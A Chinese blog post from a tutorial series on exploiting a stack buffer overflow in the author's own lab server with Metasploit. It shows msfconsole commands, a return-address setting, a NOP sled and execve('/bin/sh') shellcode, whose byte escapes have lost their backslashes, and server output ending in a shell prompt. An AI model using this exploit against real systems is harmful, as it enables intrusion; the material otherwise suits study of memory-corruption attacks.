使用metasploit進行棧溢位攻擊-5

nkbai發表於2014-11-22

我們先嚐試使用這個指令碼進行攻擊:

msf > use exploit/linux/myvictim
msf  exploit(myvictim) > set payload linux/x86/
set payload linux/x86/metsvc_bind_tcp     set payload linux/x86/shell_reverse_tcp2
set payload linux/x86/metsvc_reverse_tcp
msf  exploit(myvictim) > set payload linux/x86/metsvc_bind_tcp
payload => linux/x86/metsvc_bind_tcp
msf  exploit(myvictim) > set rhost 10.10.10.133
rhost => 10.10.10.133
msf  exploit(myvictim) > set rport 7777
rport => 7777
msf  exploit(myvictim) > exploit

[*] Started bind handler
[*] Sending 116 byte payload...
[*] Exploit completed, but no session was created.

 

server端顯示:

bai@ubuntu:/mnt/hgfs/r/stack$ ./server
socket
bind
listen
server is run...
accept

The IP of client is:10.10.10.128
The Port of client is:52308
close-new_fd 2
recv
accept
sp=0xbffff488,addr=0xbffff4a4 bytes.

 

顯然攻擊目的沒有,達到,具體原因有兩個(我認為的),第一是返回值部分不對,第二是payload本身是不是有問題

我們一一修改:

`MyVictimSever run on linux`,
{
`Platform` => `Linux`,
`Ret`      =>  0xbffff4a4
}

第二,我們payload首先採用最先驗證過的執行/bin/sh的shellcode

# Build the buffer for transmission
        buf="";
        buf  = make_nops(15);
        buf+="xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" 
        buf+="x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" 
        buf+="x80xe8xdcxffxffxff/bin/sh";
        #buf+="xa4xf4xffxbf"
        #buf += payload.encoded
        buf += [].fill( target.ret,0,100).pack(`V*`)

尤其注意最前我們補充的nop 指令的數量是15,我在這裡卡了很久,就是因為指令對齊問題,顯然32位平臺上,應該是四位元組對齊的。

 

然後執行

msf  exploit(myvictim) > rexploit
[*] Reloading module...

[*] Started bind handler
[*] Sending 116 byte payload...

[*] Exploit completed, but no session was created.

注意這裡執行的是rexploit,這個表示重新載入模組,並執行,因為我剛剛修改過了。

 

可以看到server端:

The IP of client is:10.10.10.128
The Port of client is:47336
close-new_fd 2
accept
recv
sp=0xbffff488,addr=0xbffff4a4 bytes.
$ $

 這裡用的shellcode是自己生成的,沒有用payload.encoded,是因為我嘗試用payload,但是沒有任何反應,應該是編碼以後不能執行造成的。


相關文章